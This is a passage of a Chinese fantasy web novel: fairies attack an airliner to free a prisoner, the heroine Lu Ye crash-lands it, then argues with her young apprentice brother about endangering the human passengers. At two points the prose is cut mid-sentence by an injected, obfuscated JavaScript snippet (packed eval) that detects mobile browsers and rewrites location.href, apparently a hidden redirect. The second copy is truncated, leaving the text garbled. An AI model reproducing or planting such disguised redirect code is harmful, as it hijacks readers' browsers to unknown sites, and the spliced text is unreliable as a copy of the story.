只见这个小鼓包到处移动地在床上跑来跑去,非常开心的样子。 正在看手机的鹿野头也不抬地说:“阿竹别玩了,快点睡觉。已经很晚了。” 几秒后,阿竹一下子从她的腿边被子里钻出半个身子来,懒洋洋地趴在床上,用手指了指鹿野。 “你说我?”鹿野扬起手机屏幕给她看了一下,上面是一大堆看着就眼花缭乱且令人头疼的飞机结构和数据论文,“我在看一些可能会用得上的资料,晚点会休息的,不用担心。” 小草人貌似很严肃地思考了几秒,随后在脑袋上的弹幕里打出一个【x】的符号。 鹿野有点诧异地看了她一眼:“你确定要陪我熬夜?” 阿竹认真点头。 ——这种事情她向来都是超认真的! “随便你。” 鹿野也不管这个傻乎乎的草包挚友了,反正明天犯困的人也注定不是她。 果不其然,阿竹在接下来的几分钟里一直保持着难得的安静,乖乖地趴在床上陪着鹿野看手机。 片刻后,当鹿野再次察觉到什么异常时,她低头一看,发现这个信誓旦旦要陪自己熬夜的家伙已经蜷缩成一团,躺在她的腿边彻底睡着了。 小小一只,惹人怜爱。 鹿野顿时有点想笑,但又有点说不出的感动在里头。 阿竹这家伙真的是……不知该怎么评价才好。 鹿野轻手轻脚地把缩成一团地小草人放回旁边的枕头上,给她拉上被子,还细心地把房间的灯光都给关了。 反正妖精一般没有什么近视散光的苦恼,有夜视能力的妖精也是比比皆是。 在黑暗的房间里继续安静地看了约莫半小时的各方资料后,鹿野总算心里有数了。她算算时间,外加抬头看了一眼窗外的静谧夜晚,意识到可能到来的袭击大抵是不会发生了。 ……也罢。 她终于也决定暂时休息一下。 然而直到鹿野终于睡着以后,原本沉睡许久的小草人才像是做梦一样不易察觉地咂咂嘴,她依旧闭着眼睛,心里有些说不出的苦恼。 【……鹿野不会真的决定不还我的钱了吧?!】 25.很无害 第二天一大早,事实证明鹿野昨晚关于某个睡眠不足小草人的判断完全正确——直到她把师弟小黑带到机场去赶最早一班的班机了,阿竹还趴在好友外套底下的衣襟内侧口袋里打盹补眠。 小草人主要是昨晚想着一些心事导致没睡好…… 鹿野今天换了一件深棕色的飞行员外套和黑灰色工装长裤,上下服饰都具有很多大小不一的口袋,实用性很强。 如此一来,不管阿竹想睡鹿野身上的哪个口袋,都可以随便选择啦! ……这好像也不是什么很值得骄傲的事情。 小猫刚开始也有点大清早的犯困,不过在机场候机厅里见到两位面色尴尬的少年妖精后他就打起精神来了。 来者正是池年长老的弟子甲和乙。 在先后经历了跟踪被目标放鸽子、发布通缉令也没第一时间抓到人、嫌疑犯决定自行回总馆“自首”等一系列吃力不讨好的事件后,两位年轻妖精也觉得怪尴尬的。 我们好像也没在这次调查事件中起到什么正面作用啊? 因此再次面对鹿野这等任务经验丰富的妖精前辈时,甲乙二人也不禁露出了几分不太自在的尴尬和讪笑,没啥底气再喊着什么逮捕对方之类的话语。 可是长老的要求还是要硬着头皮去做的…… 鹿野瞄了一眼这两小子,态度不容置疑地开口道:“哟,好巧,我们谁也别找对方麻烦,先回总馆再说。” “好、好的。”甲挠挠脸颊,作为师兄算是一起表达了师弟的态度。 可能是鹿野说出那几句话时看起来太笃定且不容反驳了,甲乙二人竟然有点幻视自家师父在发号施令的模样。 根本让人没法说一个“不”字。 此时机场广播提示这趟航班的旅客可以开始检票登机了,鹿野这才想起自己居然还不知道眼前这两个毛头小子的名字,就多问了一嘴。 “回禀鹿野大人,我叫甲。”黑头发小马尾的少年妖精说。 至于他旁边那位黄色短发的妖精则是跟着自我介绍:“我是乙。” 鹿野:“……” 哪怕见多识广,知道很多妖精会给自己取一堆乱七八糟的名字,这一刻她还是难免在心头犯嘀咕:这跑龙套一样不走心的名字是怎么回事? “谁取的?” “池长老。” 一想到池年那头土老虎和他干出的各种骚操作,针对了包括且不限于师父无限和好友竹茂等人……鹿野顿时就没什么好脸色,也不想再跟他们多聊,索性带着身旁那位好奇巴巴的猫崽师弟转身登机。 “找老大要找有文化的!取的都什么名字?” 鹿野他们转身登机的背影很是潇洒,然而剩下两个隶属于没文化池长老的弟子面面相觑。 “这话要跟师父汇报吗?”乙颇为呆萌地问。 甲:“你想死啊。” 还好,师兄弟二人中还有一个是理智在线的。 ………… …… 这次众人要乘坐的机型并不算大,是中小型机型,一排也才四个座位,两两并排,中间用过道隔开。 这趟早班机甚至没有坐满全部位置。 兴许是航空公司方面考虑到【洞桥会馆】所处的这座城市并非是一线城市,经济水平较为普通,外加清早的乘客数量通常较少的缘故,所以才使用了这种性价比较高的飞行路线定制策略。 跟那种一排十几个位置的波音或者空客的国际航班大型飞机根本没法比。 不过眼前的一切场景对于小黑来说都非常新鲜,不管是在登机口柜台的工作人员用扫描仪检票,还是踏入机舱时很有礼貌地跟空姐互相问好,小黑都表现出一副好奇又活泼的样子。 鹿野看了一眼这只走在前面过道上还蹦蹦跳跳的猫崽,又看了看会馆方面帮自己与师弟订的原本位置刚好在机翼附近,她立刻发现从这个位置的窗户看过去,实在很难看到什么像样的风景。 因此她转身询问甲乙的位置在哪儿。 甲乙二人的位置刚好在过道对面并且更加靠后的几排,所以没有被外头的金属机翼给挡住窗外风景。 鹿野为了让自家师弟能够拥有更加全面完整的第一次乘机体验,当即不容置疑地说:“甲,乙,我们换个位置。你们坐这儿。” 因为鹿野仍然记得当年她第一次坐飞机时,队友也主动把窗边的好风景位置让给她,就为了让自己的初次乘坐飞机体验能够更好一点。 所以鹿野如今当仁不让地要让小黑体验一把这种美好的感觉。 ——那些她享受过的美好体验,师弟也应当享受! 这就是鹿野对待自己人一贯的护犊子态度。 什么?你说阿竹要不要也坐靠窗位置? 开什么玩笑,竹茂那家伙的实际年龄都比鹿野还大个几十岁,别说坐靠窗位置了,这神人就算坐在飞机外边“搭顺风车”的经历也是有的。 这种老油条又何必跟头一回坐飞机的小孩儿抢位置? 这么想着,鹿野很自然地把手伸进自己那敞开的飞行员外套内侧,手指猛戳睡得迷迷糊糊的阿竹,面不改色地又开始今日的新一轮玩弄小草人行为。 阿竹很快被揉醒了,不太高兴地用手去推鹿野的手指头,推了几下愣是没推开。她只好选择火速躺平,翻身继续睡,任由自己的后背被好友揉来玩去的。 甲乙倒是没有想那么多,面面相觑片刻后就默许了被迫换位置的行为。 他们也不想跟鹿野因为这点小事再起一些不必要的冲突。 毕竟只要鹿野最后能顺利押解着那位据说被抓捕住的精通易容变身术法的特殊犯人“皆逆荒”返回总馆,他俩的“跟踪盯梢”任务就算是圆满完成。 今日同样换了一身全新的鳄马仕新衣服的小黑很快就回到自己的靠窗位置上坐好,看见师姐正一脸正襟危坐的表情直视前方,似乎在思考什么非常重要的问题,偏偏右手却放在外套里面。 猫崽顿时想起了一件重要的事情:“师姐,阿竹姐顺利上飞机了吗?” “上了。” 鹿野一边说,一边用左手把外套开口对着小黑的方向略微一掀。 这个动作就跟早年在风衣底下售卖非法光碟的街头商人一样娴熟,小黑定睛一看,里面坐着一只怒气冲冲且被折腾得根本没法睡觉的小草人,正双手叉腰地瞪着外面的两人。 “我正在时刻锻炼这位朋友的怒气值蓄力程度。”鹿野一本正经地告诉自己师弟,但略微勾起的嘴角出卖了她的真实心情。 你这分明是在玩! 小黑如今也没有那么容易上当受骗了,他虚着眼睛鄙视地看着师姐:“我觉得阿竹姐现在对你的好感度已经跌破下限了……” 鹿野自信地发表锐评:“这是她应该做的。” “?”困惑的小黑批评鹿野,“师姐,你好幼稚哦,整天就知道欺负阿竹姐!” 小猫对师姐的“恶行”进行严肃批评。 “哼,小孩子少管大人的事情。”鹿野放下外套衣襟,随后伸出双手捧着猫崽脑袋的左右两侧,强制把孩子的脸调转了一个方向,“来,看外头风景吧。” “别当我是小孩子啊!”小黑抗议。 但猫儿还是很快沉浸在新奇的头一回见闻里了。 等十几分钟后飞机开始离地起飞,鹿野总算放过睡眠不足的小草人,开始翻看前方椅背口袋里提供的航空旅行杂志打发时间。 因为她敏锐地察觉到阿竹的怒火已经隐隐积蓄到一个非常危险的程度了,再玩下去恐怕要玩脱了。 唉,一个天天就知道睡觉的懒虫。 不过嘛…… 鹿野翻了一页眼前介绍欧罗巴地区地中海风景特色的文章与美景美食图片,将这个异国沿海小镇的名字默默记下。 小小一只的阿竹正趴在她怀里继续睡得昏天黑地,一时半会儿也没有醒来的迹象。 ——等解决师父的这档子麻烦事以及等竹茂这家伙彻底恢复正常以后,再问她要不要继续出门去地中海那边度假吧。 鹿野暗自下定了决心。 也许届时可以对那个人说点什么……关于一直想要说出来,让竹茂能够精准无误理解的那件事情。 然而就在鹿野盘算着可能到来的地中海之旅的时候,忽然察觉到这平流层的上空里多出了一点不该出现的灵。 她立刻扭头看向窗外空旷无垠的蓝天与下方如棉被般的雪白云层,注视片刻后,趴在窗边的小黑这才发现了些许异常:“师姐你看,那边好像有条白色的蚯蚓诶。” “——是骨龙。”鹿野纠正小猫的淳朴发言,然后传音给甲乙二人,“外面的是你们的人?” “啊?什么?不可能啊……外面不是我们的人。” “按理来说,长老也没有再派人过来接应。” 同样一头雾水的甲乙说出了毫不意外的台词。 十几秒后,这台押送某些妖精犯人的飞机就骤然遭受了外头妖精的袭击。 只见一条硕大无朋的白色骨龙用自己的身躯将整架飞机的外壳缠绕,飞机当即不受控制地上下颠簸起来。 穿着玫红色制服的空姐刚开始还想使用常见话术来安抚乘客们的情绪,结果被鹿野直接操纵她身上的金属物品,直接把人推回到机舱最前方的空乘专座上,一秒给这位空姐自动系上安全带。 “所有人,都回到座位上去!”鹿野当仁不让地站起来大喝一声。 没等其他乘客反应过来,他们身上的安全带也被鹿野在同一瞬间用御金系的能力给扣上。 一名刚刚进入机舱末尾厕所,甚至还没来得及解决生理问题的可怜男乘客最凄惨。他被自己的裤腰皮带(上面有金属扣)给飞一般地拽出来,摁到一个最近的空位上坐好。 “发生什么事了?”那人惊恐地询问左右,双手甚至不太敢触碰自己那疑似成精的裤腰带。 机舱顶部的铁皮被人从外面用某种锋利的切割方法骤然切出了一个巨大的棱形空洞。 铁皮被挖开飞走,伴随着强烈到无法忽视的高空气流从上而下灌入机舱,几乎所有人都在同一时刻发出了尖叫,无数行李和较轻的杂物到处乱飞。 每个座位对应的紧急呼吸面罩“砰!”的一声垂下,为本就混乱的机舱增添了几分生死存亡的气息。 就在乘客们手忙脚乱地给自己或者家人戴上这面罩之际,几个一看就不是好东西的妖精恶形恶状地跳入机舱内。 他们各个面带狞笑,摩拳擦掌,形成包围之势冲向鹿野和她的小伙伴们……然后被鹿野一拳一个地全部打飞出去。 妈的,最烦装逼的人。——出自夏国老牌女歌手“这英”早年的微特发言。 用在这个场合大概也算是恰如其分。 把敌人打出去以后,鹿野很清楚这只是一个开端,不算结束,因此她同样从空洞处一跃而出,迎着呼啸的狂风和敌人们如潮水般接连不断的组合拳猛攻,她一个人居然还打得略占上风。 当小黑和甲乙师兄弟二人以最快速度赶来增援时,发现那条气势汹汹的白色骨龙架子都已经被鹿野三拳两脚地给打成了一堆半空中挣扎飞舞、试图快速重组的碎裂骨块。 甲乙猛地张开背后的蝠状翅膀,扑向敌人。由于二人的妖精原型都是蝙蝠,天然拥有飞行能力,自然可以穿梭在高空中与敌人展开厮杀和战斗。 至于小黑这只小猫妖,年纪轻轻的萌物一只,但真的打起敌人来同样无所畏惧,喵喵拳外加【御金系】能力跟那群劫匪妖精打得那叫一个有来有回。 混乱中,一个浑身都是肌肉的红皮肤壮汉妖精一拳砸向鹿野,同时口中怒吼:“把【流石会馆】的幸存者交出来——” 鹿野闻言顿时目露凶光,先是以手掌挡住此人的这一记重拳后,旋即直接活活捏碎了此人来不及缩回的半个手掌骨头,最后直接将这名壮汉用过肩摔的方法甩出机身上方的这片狭小平台:“做梦!” 呼啸而过的重组骨龙摇晃着仅剩的半截身躯,在同行某个妖精的操纵下,精准地接住了这位摔下半空的壮汉。 其他敌人见状立刻冲上来缠斗鹿野,但就算是几人同时猛攻鹿野一人,这群家伙看起来都占不到多少上风。 ——这肯定不能说劫匪们太弱,人均废物点心,必须承认是鹿野这人太强了…… 然而就在鹿野专心战斗、无暇分神的一瞬间,有一只苍老的手从她身后腰带处飞速掠过,取走了某个物品。 伴随着空间系牢笼被解开,穿着橙色连体衣的精神小伙儿妖精皆逆荒被他的同伴们营救走了! “哈,她果然被前面那套抢夺幸存者的说辞给转移了注意力!”白胡子眯眯眼老者得意道,还故意说得很大声,主要是为了说给鹿野听。 结果面色铁青的鹿野在下一秒冲破重重包围大跳过去,凌空一腿直接砸爆了这条本就残破不堪的骨龙交通工具。 包括皆逆荒和白胡子老者在内,几个乘坐骨龙的妖精再次一起摔下半空。 还好老者摇身一变,化作一头身形矫捷的白羽大鹤,载着同伴们仓皇逃离。 “这样没用!逃不开鹿野的追击!”皆逆荒紧张地大喊,生怕又被那个残暴无情的女人给抓回去关押起来。 “放心!”白鹤同样大喊,“都安排好啦!” 劫匪等一行人完成“营救皆逆荒”这个最主要目标后,也并不纠缠次要目标的“抢夺疑似【流石会馆】幸存者竹茂”,各显逃跑神通,纷纷火速逃离此地高空——当然,也没法纠缠,毕竟主要交通工具的骨龙彻底碎裂。 没有飞行能力的几个劫匪倘若再纠缠下去,恐怕就是给鹿野这位凶神送人头的。 就算是身为横行霸道、草菅人命的劫匪,这些妖精还是想让自身活得久一点的。 当鹿野使用【御金系】能力将自己“吸”回飞机机身时,毫不意外地发现在刚才的激烈打斗中这台凡俗造物不幸被波及损伤。 只见飞机一侧的机翼被损毁,如今正在燃烧和冒出滚滚黑烟,如果再不想办法紧急迫降的话定要落个机毁人亡的下场。 虽然这是提前设想过的最坏结果之一,不过鹿野还是有条不紊地发号施令,命令小黑与甲乙二人协助自己解决眼前的危机。 “甲,乙,你们有什么能力?”鹿野问。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221635|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们是土系的。”小伙子相当淳朴地回答。 ——说到土系就想到池年,想到池年就想到那货整出的骚操作。 鹿野冷哼:“垃圾。” 甲和乙:“?” 不过危难当前,三个年轻妖精都没有任何二话,尽可能地按照鹿野的命令去集中完成各项前期布置。他们都不是什么性情残暴的妖精,如果能够救人,还是想要尝试着去努力一下。 就连两位驾驶室的正副机长都听从了这位来路不明、不似凡人(鹿野)的指挥,努力将这台机器的飞行方向调转角度,朝着下方的一个据说是断崖方位的山区密林处俯冲过去。 鹿野稳稳当当地站在飞机顶部,狂风吹得她额前的长刘海肆意飞舞,她扭头看向自己身后的那三个战友:“都准备好了?” “全部就位!”甲高声回答。小黑也严肃点头。 “那就……开始!” 时机已到,鹿野双腿发力地在机舱上方狂奔起来,她的随身金属化作数十根坚不可摧的细线,依照预先钉住的各个方位尽数节点完成了最后的串联工作。 奔跑中,鹿野能够感觉到自己的脖颈处皮肤被几根细长的草木细索快速缠上,却松松垮垮的,完全没有勒紧……更像是小草人在动作柔和地搂着她的脖子,沉默无言地观察着外界的一切战局变化。 鹿野不自觉地咧嘴一笑,用只有自己和阿竹能听见的声音低声说道:“别怕。” 下一秒,她纵身跃下飞机,悬浮在手边的随身金属正在急速绷紧,同时鹿野本人则是率先朝着预定的迫降方位急速飞去! 伴随着空中传来的一声巨响,已经提前集中了全体人员的机舱中段部分被那些金属细线完全切割开,如同一个筒状,往下直坠。 小黑和甲乙则是按照预定计划,一起张开了羽翼,努力扼制筒状机舱的下落速度,拼命让它减速下来。 而那些空无一人的飞机头部、断裂的两侧钢铁羽翼、机尾横板等物则是滞留在高空中,彼此发生了剧烈碰撞,旋即连续爆发出好几团醒目的巨大火球。 此地是山区,密林众多,山形起伏,这片断崖已经是鹿野确信能够找得到的附近最好迫降地点了。 当鹿野本人比那失事机舱更先悍然落地,登山靴底部因为惯性的缘由在地面摩擦出两道长长的沟壑,同时她能够感觉自己怀里不太明显的一轻——小草人从她怀里跳出来,飞速跑向这遍布杂草的断崖地面。 鹿野顾不上去管阿竹在干什么,她抬起手,将能力推动到最大的发挥程度,对准半空中那个正在以恐怖的速度强行穿过众多树木阻隔而重重砸下的那个筒状机舱部分。 四位妖精几乎是全身力气来阻止和减缓这台满载了上百人的机舱坠落速度,甲乙二人的翅膀在与丛林的高速摩擦碰撞中出现了巨大的破损缺口,小黑也拼命地使用能力将机舱往回“拉”一把。 可惜他们的力量尚且不足,无法完全操纵阻止这机舱的下坠失事进程。 当它重重地砸在地上并且无法遏制住这股物体往前翻滚的动能,不断地向悬崖处滚去。 挡在最后一道关卡前方的鹿野双手都因为能力发挥到极限而微微发抖,却还是眼睁睁地看着这个庞然大物朝着自己高速碾压过来,她头上的冷汗清晰可见。 更糟糕的是,因为刚才机舱下落的时候的强烈剐蹭和撞击直接掀翻了甲乙中的其中一人,另一人则是为了营救同门,也不幸被颠簸的机舱给卷进底部,险些直接压死,还好最后压在了用能力仓促形成的地面土质结构里头。 但这也就意味着甲乙两人都没法出手帮忙了。小黑此时还在咬着牙往回“拽”着机舱中段这件金属器物,但他也明显已经抵达自身能力的极限。 “……快说,没有我就是不行。” 鹿野骤然听见有人在自己的耳边轻声发笑,如穿过林间的风声一般难以捉摸。 她一下子绷住面部的所有表情。 才不说。 免得回头某些家伙骄傲到尾巴都要翘到天上去了。 虽然鹿野拒绝配合演出,不过依旧有众多柔软而坚韧的绿草不知何时从她背后生长而出,像是一团巨大的毛茸茸那样,从背后拥抱了一下快要被这冲撞而来的机舱给硬生生推下悬崖的鹿野本人。 下一瞬间,鹿野的视野被无数暴动的绿草给占据了。 整座山林的草木都在沸腾,那些急速生长茂盛的杂草就化作了一片绿色的大海,顶着筒状机舱的反方向骤然掀起了接连不断的波涛! 就好像有一位面点师傅在举重若轻地揉搓着手中的粗长面团,令它停止前进的步伐。 当最终这满载人类的机舱堪堪停下来时,连金属机身表层已经布满了厚实无比的一层绿草,乍一看仿佛是什么抹茶味毛巾卷之类的蛋糕点心。 勉强从土堆缝隙里投出视线的甲乙顿时松了口气。 得救了! “这些草是怎么回事……” 没等他们说完,视线里所有的绿草在一瞬间全部化作飞灰,连同着半座山头,尽数化作焦土。 小黑吓了一跳,还往后跳了几步,东张西望起来。 但鹿野对这个可太熟悉了——【生灵系·命源】,任意施加或者剥夺生命力的能力。 她没有责怪竹茂为什么要把这座山头的生命力给猛然吸光这种事情,因为鹿野知道如果阿竹不这样做,就单看前面强行催发草木时所付出的庞大生命力,说不定这会儿这个妖精马上就要散灵陨落。 比起那些小事,鹿野更加担心朋友此刻的安危。 “阿竹!你在哪儿!” 鹿野朝着机舱方向往前走了两步,忽然停下来,看向自己的脚边。 一个毫不起眼的小草人在下一秒从焦土里钻出,顶着一脸萎靡不振的表情,甩了甩脑门上的泥土颗粒。 只见她浑身杂草的颜色主要为青黄二色,大概是五五对开的颜色面积。 “哟呵,在这儿啊。”鹿野蹲下身,上下打量她一番确认没什么大问题后方才眯着眼睛问道,“阿竹,非要在那种紧急关头让我说什么‘没有你,我就不行’之类的蠢话?你在开什么玩笑?” 都搞出这种情况了,如果鹿野还没发觉阿竹这位朋友如今多少恢复一部分的神志和力量这件事,那也不用继续混什么会馆了,直接提前退休回家陪师父无限养鸡去得了。 看在刚刚被帮忙的份上,鹿野决定不去计较这草包昨晚搁那儿装疯卖傻的行为。 “……” 小草人无辜地看着她,一双豆豆眼颇为无害地眨了一下。 是的,虽然阿竹已经恢复到能掀起一座山头的草木生命巨浪的程度,但是此刻的她依旧懒得去演化出发音器官。 ——拜托,说话很麻烦诶,而且不觉得用生草弹幕交流显得她很可爱吗? 鹿野最后自顾自地笑着,以及莫名其妙地叹气两声,道:“服了你了。上来吧。” 她伸出手掌靠近地面,小草人则是在下一刻便习以为常地跳上去,一动不动地瘫着。 阿竹累了。 众所周知,她只是一个还没完全恢复全部实力的普通路过小草人啊。 26.无为在歧路 尚有行动余力的小黑和鹿野二人扛着身负重伤的甲乙这两个倒霉孩子,快速撤出坠机范围地区。 由于阿竹先前一下子把这附近的草木生命力都给吸干净,放眼望去一大片寸草不生的焦土地带,搞得这几人不得不跑到了另外一座更远些且没有受到波及的山头才停下休整。 毕竟这儿才有树林等植被的遮蔽。 “话说回来,那些人类放着不管没关系吗?” 小黑扭头看向下方断崖处那个筒状机舱里陆陆续续爬出来的人类,有些担心。 “小黑别担心,人类的救援队伍会来得很快。”被鹿野如同提着一个公文包那样提在手上的黑发少年妖精甲对小黑解释道,“顶多半小时以内。” 事实证明,不用半小时,也就十来分钟,一台在外壳上喷涂着“山林搜救”字样的红白色民用直升机就转动着螺旋桨,发出巨大噪声,赫然出现在断崖的上空。 那些空难幸存者们顿时开心得跟见到亲人一样在底下招手,很多人甚至又蹦又跳,完全看不出其中不少人刚爬出来时还忍不住迫降翻滚时带来的眩晕感从而趴在地上大肆呕吐的惨样。 伴随而来的是更多的救援队伍,无论是林地救援车辆还是医护人员都赶来不少,甚至还有一台挖掘车挥舞着大铲跟着上来临时修路。 “好快啊,而且好多人……” 猫崽头一回见识到夏国这种“饱和式救援”的特色,发出了喃喃自语的惊叹。 “很正常,因为现在到处都是人类。” 甲乙二人扁扁地依靠在一块巨石背后,听到小黑的疑问后,甲便半死不活地解释了一句。 黄头发的师弟乙拥有一手治愈系的能力,正同样一脸疲惫地帮助师兄的伤势进行修复。 而小草人阿竹则是坐在他们中间的草地上,身为一位长年行医的前辈,阿竹正在对着乙的行为指指点点。 ——也许你要先这样,再这样,你师兄就能恢复得快一点。 乙勉强看懂这宛若无字天书的沟通方式以后,小脸顿时垮下来:“这个操作有点难啊,竹医生。” 【oi】 阿竹双手抱胸,用弹幕发出一个语气词后开始大力摇头,颇为不赞同地看着这个年轻后辈。 你小子年纪轻轻的,怎么就不能克服一下技术方面的困难呢?治疗这种事情只要大力出奇迹就好了嘛! “喂,别随便误人子弟,你这庸医。”鹿野路过,随手把捣乱的小草人提溜放回自己的肩膀上,“又不是每个人的治疗方法都跟阿竹你一样纯靠直觉。” 小草人听完就很激动地挥挥小手,脑门上的弹幕也刷新出了一个【书】的字词。 ——我当年也是背了不少医书才正式上手工作的! 面对某些死鸭子嘴硬的笨蛋,鹿野很自然地毒舌起来:“呵,全是为了应付定期考核才死记硬背的东西,考完后还记得多少?真当我不知道?” 阿竹:“……” 学渣小草人不出意外地自闭了。 本来吧,阿竹是打算帮甲乙两人直接奶一口来加速痊愈速度的,不过在察觉到乙本身就有治愈能力后,鹿野反而不允许小草人随便出手救人。 “阿竹的身体还没完全恢复,至今无法重新化形,所以不适合频繁使用能力——我认为这有可能会给她留下难以恢复的永久性后遗症。” 鹿野居高临下地俯视这两个软绵绵地瘫坐在地上的后辈,语气透着不容任何人反驳质疑的既视感:“反正你们两个现在也死不了,再加上乙也能治,姑且忍耐一下吧。” 面对大佬那毫不掩饰的偏心朋友行为,甲乙还能说什么呢? ——不行,我们一定需要更专业的医生来治疗我们! 没见到某位“更专业的医生”自己都脆弱到还需要被朋友抱着走吗…… 更何况经过刚才的并肩作战事件后,师兄弟两人也不再将鹿野视为假想敌。 他们完全被鹿野在应对危机时展现出的种种魅力给折服,也觉得前辈这番话说得确实有道理。 区区小伤,反正我们自己能应付,就不麻烦两位前辈了! 鹿野对二人的高觉悟很满意,顺手摸了摸肩膀上趴着犯困的小草人,对眺望远处断崖的师弟说道:“我们该走了。” “现在要去哪儿?”小黑问。 “继续追踪。” 眉头紧皱的猫崽在思考一个很纠结的问题,忍不住问:“人全都跑了,还能找得到?” 提到这个,鹿野当即自信回答:“放心,被我接触过的就没有一个逃得掉!” 充当好友肩部挂件的阿竹默默点头:啊对对对,我就是这样“冬眠”了不到24小时就被鹿野这家伙强行挖出来带走的。 当然,阿竹也不会怪她。 毕竟谁也不敢去赌幕后黑手会不会杀个回马枪就是了。 然而小黑却一反常态地停下脚步:“……我不走。” 鹿野疑惑地看着他,不明白这突然发脾气的小孩子想做什么。 “你根本就是故意的!”小黑怒气冲冲。 其实事到如今猫儿也看出了几分端倪,因为他本来就是一只聪慧小猫,于是他从鹿野昨日故意炸毁传送门的一系列行为开始指责起来。 鹿野静静地听完他的所有指控,忍不住翘了翘嘴角,这个举动实际上是对这位小师弟的欣赏:“哦?都被你看出来了?” 小黑见她如此坦然承认,还毫无悔意,一时间简直是更加生气:“你有没有想过,如果人都死了该怎么办?” 鹿野面不改色道:“没有损失,直接把犯人带回总馆就行。” “我说的是那些普通人!”小黑一指远处的断崖方向,气得胸口都在剧烈起伏,“他们是无辜的!” 一旁的小草人和甲乙都突然开启了群内禁言模式,谁都没有率先开口打断这对师门姐弟二人的争执。 鹿野不太明显地沉默了一瞬间,回答道:“这不没死吗?” “那只是运气好!”小黑用力一挥手,像是要拒绝空气中的这个答案。 “我不否认。”鹿野神情淡漠。 小黑终于气坏了,骂出了自己如今能想到的最恶毒语言:“你是个坏人!” 鹿野:“……” 鹿野:“我不是人类,我是妖精的执行者。执行者在做任务期间连自己的生死都不是很重要,更何况是人类的。如果要牺牲这些人才能救师父,你怎么选?” “现在又不是那样!”猫儿倔强,拒绝电车难题的道德拷问。 “现在的情况更糟糕!只是你看不出来而已!”鹿野说话也带着点火气了,“找不到主谋,战争随时都会爆发,到时候死的人更多,犹豫了,谁都救不了!” 此时原本趴在鹿野肩头晃荡四肢玩的小草人也偷偷坐起来,虽然那个缺乏五官的脸上没什么太明显的表情,但她还是苦恼地挠了挠头。 ——唉,吵什么吵,大家吃个火锅,喝个奶茶,美滋滋地搞师门团建聚餐活动不好吗? 原本气氛和睦的姐弟两人怒视彼此,谁也无法说服对方,鹿野觉得师弟的想法太幼稚,小黑觉得师姐的手段太残忍。 而阿竹……她感觉自己里外不是人。 好吧,她本来就不是人。 鹿野深吸一口气压住起伏的情绪,随后尽量冷静地发问:“最后问你一次,到底走不走?” 猫儿倔强得要命:“不走!” 鹿野深深地看了这个师弟一眼,正要转身离开,却没想到肩膀上的小草人突然跳回地面。 阿竹一下子窜到了小黑面前站着。 “阿竹姐?”小黑弯下腰,有点脏兮兮的小脸上带着显而易见的求助情绪看向这位满是无奈的小草人,“你也觉得我说得有道理吗?” 阿竹沉默地点点头。 因为她本来有亲近人类的倾向,是“族群共存派”这个派系,跟鹿野的“妖精种族至上”派系的立场还是稍微有些区别的。 但政治观点的略有差异并不妨碍两人多年来的友谊。 见此状况,鹿野冷哼一声,双手抱胸地扭过头去,懒得去看。 只见站在地上也仅有巴掌高的阿竹忽然伸出一根细长的草须小手,摸了摸猫崽毛茸茸的头发。 小黑不解,任由她摸完后便问:“那你帮我说服她吗?” “……” 虽然小草人圆溜溜的脑袋依旧没有什么表情,但是小黑依旧从那双墨绿偏黑的豆豆眼里看出了几分无奈的笑意。 ——我在理智上支持你的观点,但在感情上,我不可能去改变任何一个成年人的既有看法。 更何况那可是我的好朋友所做出的决定。 人家顶着幕后黑手的杀人风险和成为会馆通缉犯的压力也要想办法救我,我能怎么办?当然是尽量帮她收拾烂摊子咯。 摸完这个沮丧猫猫头,向小□□别后,小草人又转身跑回鹿野的腿边,抓着她的工装裤口袋等“攀爬点”直接爬回了后者肩膀上的“宝座”。 虽然非常有自信阿竹一定会站在自己这边,不过直到小草人重新坐稳以后,鹿野紧绷的严肃表情这才稍微缓和了些许。 “走了。” 她冷冷地说,不等众人有何反应,自行纵身几个起跳,身影迅速消失在密林里。 小黑都懵逼了! 不是,师姐这做派怎么跟师父不太一样?她没有用随身金属强行把我捆着拖走? ——可能这就是老父亲和长姐带孩子的区别所在吧,老爸兴许会威胁说要打你了,但是姐姐是懒得废话,直接上手揍弟弟。 小黑难得地陷入了短暂的茫然和无助,他看向一旁完整看戏的甲乙二人,发现他们看起来更加萎靡了。 ——不小心围观了无限大人的弟子们“决裂”过程,好怕回头被某些蒙面人灭口啊,怎么办? 性格单纯善良的猫妖小黑不明白为什么自家师姐对待普通人会是这种看起来漠视生死的态度。 同样,这孩子也无法理解为什么阿竹姐明明表示支持自己,最后却还是毫不犹豫地跟着师姐离开。 甲乙二人面面相觑片刻,其中一人有点欲言又止地开口:“其实我们之前听过一个关于鹿野大人的传闻……” 小黑认真倾听。 那就是鹿野早在拜师无限之前,在自己的故乡里还有一个师父。可惜后来她的故乡被人类双方的一场战火波及,家破人亡,不仅师父死了,所有认识的妖精都死光了。 鹿野成了故乡唯一的幸存者。 要不是刚好遇见了那位慈悲又强大的人类强者无限,鹿野现在还不知道要变成怎样呢。 “所以我们并不觉得她去救人是一件必需的事情。”乙进行了最后总结,“反正换成我的话,恐怕办不到。” 小黑是只性格善良且非常有同理心的好猫咪,他听完甲乙二人转述的传闻故事,一时间眼泪都要掉下来了。 “那、那阿竹姐呢?” 不会她的家乡也被人类的战火毁掉了吧! 这个的话,甲还真不清楚,倒是作为学习过治愈能力的师弟乙因为特意了解过医疗组里一些比较有水平的妖精前辈们各项事迹,所以知晓一些真真假假的八卦传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 